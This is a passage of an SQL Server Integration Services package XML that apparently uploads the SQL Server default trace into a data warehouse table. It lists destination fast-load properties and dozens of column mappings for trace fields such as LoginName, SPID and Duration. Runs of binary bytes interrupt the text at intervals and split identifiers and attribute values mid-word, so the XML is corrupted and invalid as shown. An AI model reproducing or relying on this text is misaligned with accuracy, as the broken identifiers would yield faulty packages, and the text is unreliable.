name="FastLoadKeepIdentity">false</property><property dataType="System.Boolean" description="Indicates whether the columns containing null will have null inserted in the destination. If false, columns containing null will have their default values inserted at the destinaton. Applies only if fast load is turned on." name="FastLoadKeepNulls">false</property><property dataType="System.String" description="Specifies options to be used with fast load.  Applies only if fast load is turned on." name="FastLoadOptions">CHECK_CONSTRAINTS</property><property dataType="System.Int32" description="Specifies when commits are issued during data insertion.  A value of 0 specifies that one commit will be issued at the end of data insertion.  Applies only if fast load is turned on." name="FastLoadMaxInsertCommitSize">0</property></properties><connections><connection refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Connections[OleDbConnection]" connectionManagerID="Package.ConnectionManagers[MdwConnection]" connectionManagerRefId="Package.ConnectionManagers[MdwConnection]" description="The OLE DB runtime connection used to access the database." name="OleDbConnection"/></connections><inputs><input refId="Package\SEQ - Default trace	!!!!!!!!!!!!!!!!!!!!!!!!`4<Hv upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input]" errorOrTruncationOperation="Insert" errorRowDisposition="IgnoreFailure" hasSideEffects="true" name="OLE DB Destination Input"><inputColumns><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TextData]" cachedDataType="nText" cachedName="TextData" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TextData]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TextData]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[BinaryData]" cachedDataType="image" cachedName="BinaryData" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BinaryData]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BinaryData]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[DatabaseID]" cachedDataType="i4" cachedName="DatabaseID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TransactionID]" cachedDataType="i8" cachedName="TransactionID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TransactionID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TransactionID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LineNumber]" cachedDataType="i4" cachedName="LineNumber" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LineNumber]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LineNumber]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[NTUserName]" cachedDataType="wstr" cachedLength="256" cachedName="NTUserName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTUserName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTUserName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[NTDomainName]" cachedDataType="wstr" cachedLength="256" cachedName="NTDomainName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NTDomainName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default	!!!!!!!!!!!!!!!!!!!!!!!!`4Hv trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NTDomainName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[HostName]" cachedDataType="wstr" cachedLength="256" cachedName="HostName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[HostName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[HostName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ClientProcessID]" cachedDataType="i4" cachedName="ClientProcessID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ClientProcessID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ClientProcessID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ApplicationName]" cachedDataType="wstr" cachedLength="256" cachedName="ApplicationName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ApplicationName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ApplicationName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LoginName]" cachedDataType="wstr" cachedLength="256" cachedName="LoginName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[SPID]" cachedDataType="i4" cachedName="SPID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[SPID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[SPID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Duration]" cachedDataType="i8" cachedName="Duration" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Duration]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Duration]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[StartTime]" cachedDataType="dbTimeStamp" cachedName="StartTime" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[StartTime]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[StartTime]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload defa	!!!!!!!!!!!!!!!!!!!!!!!!`4Hvult trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EndTime]" cachedDataType="dbTimeStamp" cachedName="EndTime" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EndTime]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EndTime]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Reads]" cachedDataType="i8" cachedName="Reads" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Reads]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Reads]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Writes]" cachedDataType="i8" cachedName="Writes" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Writes]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Writes]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[CPU]" cachedDataType="i4" cachedName="CPU" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[CPU]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[CPU]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Permissions]" cachedDataType="i8" cachedName="Permissions" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Permissions]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Permissions]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Severity]" cachedDataType="i4" cachedName="Severity" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Severity]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Severity]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EventSubClass]" cachedDataType="i4" cachedName="EventSubClass" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSubClass]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSubClass]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectID]" cachedDataType="i4" cachedName="ObjectID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destin	!!!!!!!!!!!!!!!!!!!!!!!!`4PHvation Input].ExternalColumns[ObjectID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Success]" cachedDataType="i4" cachedName="Success" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Success]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Success]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IndexID]" cachedDataType="i4" cachedName="IndexID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IndexID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IndexID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IntegerData]" cachedDataType="i4" cachedName="IntegerData" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ServerName]" cachedDataType="wstr" cachedLength="256" cachedName="ServerName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ServerName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ServerName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EventClass]" cachedDataType="i4" cachedName="EventClass" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventClass]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventClass]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectType]" cachedDataType="i4" cachedName="ObjectType" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectType]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectType]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[NestLevel]" cachedDataType="i4" cachedName="NestLevel" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[NestLevel]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[NestLevel]"/><inputColumn refId="Package\SEQ - Def	!!!!!!!!!!!!!!!!!!!!!!!!`4	WHvault trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[State]" cachedDataType="i4" cachedName="State" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[State]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[State]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Error]" cachedDataType="i4" cachedName="Error" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Error]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Error]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Mode]" cachedDataType="i4" cachedName="Mode" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Mode]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Mode]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Handle]" cachedDataType="i4" cachedName="Handle" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Handle]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Handle]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectName]" cachedDataType="wstr" cachedLength="256" cachedName="ObjectName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[DatabaseName]" cachedDataType="wstr" cachedLength="256" cachedName="DatabaseName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DatabaseName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DatabaseName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[FileName]" cachedDataType="wstr" cachedLength="256" cachedName="FileName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[FileName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[FileName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[OwnerName]" cachedDataType="wstr" cachedLength="256" cachedName="OwnerName" externalMetadataColumnId="Package\SEQ - D	!!!!!!!!!!!!!!!!!!!!!!!!`4
ƨHvefault trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[RoleName]" cachedDataType="wstr" cachedLength="256" cachedName="RoleName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RoleName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RoleName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TargetUserName]" cachedDataType="wstr" cachedLength="256" cachedName="TargetUserName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetUserName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetUserName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[DBUserName]" cachedDataType="wstr" cachedLength="256" cachedName="DBUserName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[DBUserName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[DBUserName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LoginSid]" cachedDataType="image" cachedName="LoginSid" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LoginSid]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LoginSid]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TargetLoginName]" cachedDataType="wstr" cachedLength="256" cachedName="TargetLoginName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[TargetLoginSid]" cachedDataType="image" cachedName="TargetLoginSid" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[TargetLoginSid]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[TargetLoginSid]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ColumnPermissions]" cachedDataType="i4" cachedName="ColumnPermissions" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.I	!!!!!!!!!!!!!!!!!!!!!!!!`4*Hvnputs[OLE DB Destination Input].ExternalColumns[ColumnPermissions]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ColumnPermissions]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[LinkedServerName]" cachedDataType="wstr" cachedLength="256" cachedName="LinkedServerName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[LinkedServerName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[LinkedServerName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ProviderName]" cachedDataType="wstr" cachedLength="256" cachedName="ProviderName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ProviderName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ProviderName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[MethodName]" cachedDataType="wstr" cachedLength="256" cachedName="MethodName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[MethodName]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[MethodName]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[RowCounts]" cachedDataType="i8" cachedName="RowCounts" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RowCounts]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RowCounts]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[RequestID]" cachedDataType="i4" cachedName="RequestID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[RequestID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[RequestID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[XactSequence]" cachedDataType="i8" cachedName="XactSequence" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[XactSequence]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[XactSequence]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[EventSequence]" cachedDataType="i8" cachedName="EventSequence" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[EventSequence]" lineageId="Package\SEQ - Default trace u	!!!!!!!!!!!!!!!!!!!!!!!!`4ӁHvpload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[EventSequence]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[BigintData1]" cachedDataType="i8" cachedName="BigintData1" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BigintData1]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData1]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[BigintData2]" cachedDataType="i8" cachedName="BigintData2" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[BigintData2]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[BigintData2]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[GUID]" cachedDataType="guid" cachedName="GUID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[GUID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[GUID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[IntegerData2]" cachedDataType="i4" cachedName="IntegerData2" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[IntegerData2]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[IntegerData2]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[ObjectID2]" cachedDataType="i8" cachedName="ObjectID2" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[ObjectID2]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[ObjectID2]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[Type]" cachedDataType="i4" cachedName="Type" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[Type]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[Type]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns[OwnerID]" cachedDataType="i4" cachedName="OwnerID" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].ExternalColumns[OwnerID]" lineageId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Read trace.Outputs[OLE DB Source Output].Columns[OwnerID]"/><inputColumn refId="Package\SEQ - Default trace upload\DFT - Upload default trace file\ODB - Write to output table.Inputs[OLE DB Destination Input].Columns	!!!!!!!!!!!!!!!!!!!!!!!!`4ٵHv[ParentName]" cachedDataType="wstr" cachedLength="256" cachedName="ParentName" externalMetadataColumnId="Package\SEQ - Default trace upload\DFT - 